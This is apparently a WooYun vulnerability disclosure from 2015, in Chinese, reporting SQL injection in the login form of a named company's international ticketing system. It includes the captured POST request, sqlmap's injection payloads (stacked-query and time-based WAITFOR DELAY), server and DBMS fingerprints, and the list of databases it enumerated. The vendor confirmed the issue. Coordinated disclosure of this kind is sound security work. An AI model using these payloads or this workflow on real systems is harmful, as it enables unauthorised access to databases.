当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117348

漏洞标题:腾邦某系统SQL注入

相关厂商:腾邦集团

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-05-31 17:52

修复时间:2015-07-16 15:00

公开时间:2015-07-16 15:00

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-31: 细节已通知厂商并且等待厂商处理中
2015-06-01: 厂商已经确认,细节仅向厂商公开
2015-06-11: 细节向核心白帽子及相关领域专家公开
2015-06-21: 细节向普通白帽子公开
2015-07-01: 细节向实习白帽子公开
2015-07-16: 细节向公众公开

简要描述:

【HD】 以团队之名 以个人之荣耀 共建网络安全

详细说明:

上个漏洞厂商要了我的联系方式后就没动静了···看见给 茜茜公主 发了礼物 我想肯定是漏洞数不够 所以厂商没发礼物 所以又去检查了一遍 结果还真有发现
出问题的是 国际票务工单系统 这个站点 http://gj.tempus.cn 凭感觉在用户名处加了个 admin'

1.png


然后回车后 直接报错

2.png


有注入 直接抓包丢sqlmap 里跑一下
post数据包:

POST /default.asp?action=login HTTP/1.1
Host: gj.tempus.cn
Content-Length: 41
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://gj.tempus.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 UBrowser/5.0.595.32 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://gj.tempus.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASPSESSIONIDAAAQDSQC=FPNHHAGBKMNMPDFBHGMGLJIA
textfield=admin&textfield2=admin&submit=+


3.png


POST parameter 'textfield' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n
sqlmap identified the following injection points with a total of 134 HTTP(s) req
uests:
---
Place: POST
Parameter: textfield
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: textfield=admin'); WAITFOR DELAY '0:0:5'--&textfield2=admin&submit=
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: textfield=admin') WAITFOR DELAY '0:0:5'--&textfield2=admin&submit=
---
[16:34:08] [INFO] testing Microsoft SQL Server
[16:34:08] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[16:34:20] [INFO] confirming Microsoft SQL Server
[16:34:31] [INFO] adjusting time delay to 4 seconds due to good response times
[16:34:31] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005


4.png


available databases [14]:
[*] AdvanEmpDb
[*] CobraDGServer
[*] daynitom
[*] master
[*] model
[*] msdb
[*] oanew
[*] Standard_Global
[*] StandardCommonModule
[*] tempdb
[*] tgctour2010
[*] trafax60
[*] veetermsharelog
[*] zytoa


14个数据库 本来想查看下影响数据量多少的 后来想想还是算了 数据库证明即可

漏洞证明:

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-06-01 14:58

厂商回复:

感谢贵平台以及白帽子对我司的提示,我们已经组织人员积极修复中!谢谢!

最新状态:

暂无


漏洞评价:

评论